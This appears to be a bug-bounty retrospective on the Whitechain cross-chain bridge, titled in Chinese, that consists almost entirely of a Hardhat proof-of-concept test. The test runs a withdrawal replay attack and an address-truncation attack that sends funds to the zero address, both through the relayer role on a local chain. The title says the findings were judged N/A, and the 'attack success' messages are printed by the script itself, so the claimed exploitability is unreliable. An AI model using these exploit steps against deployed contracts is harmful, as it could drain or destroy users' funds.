非首发-Whitechain 跨链桥漏洞挖掘复盘：从源码分析到 PoC 复现，以及被判定 N/A 的反思

import { expect } from "chai";
import hre from "hardhat";

describe("🔥 Whitechain Bridge Full Exploit", function () {
  let BridgeContract: any;
  let MapperContract: any;
  
  let deployer: any;
  let emergencyAddress: any;
  let multisigAddress: any;
  let relayerAddress: any;
  let user1: any;
  let user2: any;

  // 枚举常量定义
  const DepositType = { None: 0, Lock: 1, Burn: 2 };
  const WithdrawType = { None: 0, Unlock: 1, Mint: 2 }; 

  beforeEach(async function () {
    const accounts = await hre.ethers.getSigners();
    deployer = accounts[0];
    emergencyAddress = accounts[1];
    multisigAddress = accounts[2];
    relayerAddress = accounts[3];
    user1 = accounts[4];
    user2 = accounts[5];

    // 1. 部署 Mapper
    MapperContract = await hre.upgrades.deployProxy(
      await hre.ethers.getContractFactory("contracts/main/modules/mapper/Mapper.sol:Mapper"), 
      [{
        emergencyAddress: emergencyAddress.address,
        multisigAddress: multisigAddress.address
      }], 
      { initializer: 'initialize', kind: 'uups' }
    );

    // 2. 部署 Bridge
    BridgeContract = await hre.upgrades.deployProxy(
      await hre.ethers.getContractFactory("contracts/main/modules/bridge/Bridge.sol:Bridge"), 
      [{
        mapperAddress: await MapperContract.getAddress(),
        emergencyAddress: emergencyAddress.address,
        multisigAddress: multisigAddress.address,
        relayerAddress: relayerAddress.address
      }], 
      { initializer: 'initialize', kind: 'uups' }
    );

    // 3. 注册映射（核心排雷区）
    const network = await hre.ethers.provider.getNetwork();
    const currentChainId = network.chainId;
    const fakeTokenAddress = hre.ethers.zeroPadValue(user1.address, 32);
    
    const mapInfo = {
      originChainId: BigInt(1), 
      targetChainId: currentChainId, 
      depositType: DepositType.None, 
      withdrawType: WithdrawType.Unlock, 
      originTokenAddress: fakeTokenAddress, 
      targetTokenAddress: fakeTokenAddress, 
      useTransfer: false,
      isAllowed: true,
      isCoin: true
    };
    await MapperContract.connect(multisigAddress).registerMapping(mapInfo);

    // 4. 给 Bridge 充值 100 ETH 供提现
    await deployer.sendTransaction({
      to: await BridgeContract.getAddress(),
      value: hre.ethers.parseEther("100")
    });

    // 5. 设置每日限额（原生币使用 ZeroHash）
    await BridgeContract.connect(multisigAddress).setDailyLimit(
      hre.ethers.ZeroHash, 
      relayerAddress.address,
      1000000n
    );
  });

  it("Critical 1: 提现重放攻击 (Replay Attack)", async function () {
    const mapId = 1;
    const externalId = hre.ethers.encodeBytes32String("hack_replay_001");
    const amount = 1000n;

    const params = [
        externalId,
        mapId,
        amount,
        hre.ethers.zeroPadValue(user1.address, 32),
        hre.ethers.zeroPadValue(user2.address, 32)
    ];

    console.log("\n🚀 第 1 次正常提现...");
    const tx1 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
    await tx1.wait();
    console.log("✅ 第 1 次提现成功！");

    console.log("🔥 第 2 次原封不动重放...");
    const tx2 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
    await tx2.wait();
    console.log("💥💥💥 [攻击成功] 重放提现成功！");
    
    expect(tx2).to.not.be.reverted;
  });

  it("Critical 2: 地址截断攻击 (Address Truncation)", async function () {
    const mapId = 1;
    const externalId = hre.ethers.encodeBytes32String("hack_zero_002");
    const amount = 1000n;
    const maliciousToAddress = "0x0000000000000000000000000000000000000000000000000000000100000000";

    const params = [
        externalId,
        mapId,
        amount,
        hre.ethers.zeroPadValue(user1.address, 32),
        maliciousToAddress
    ];

    console.log("\n🕳️ 尝试提现到被截断的零地址...");
    const tx = await BridgeContract.connect(relayerAddress).receiveTokens(params);
    await tx.wait();
    console.log("💥💥💥 [攻击成功] 资金被永久销毁！");
    
    expect(tx).to.not.be.reverted;
  });
});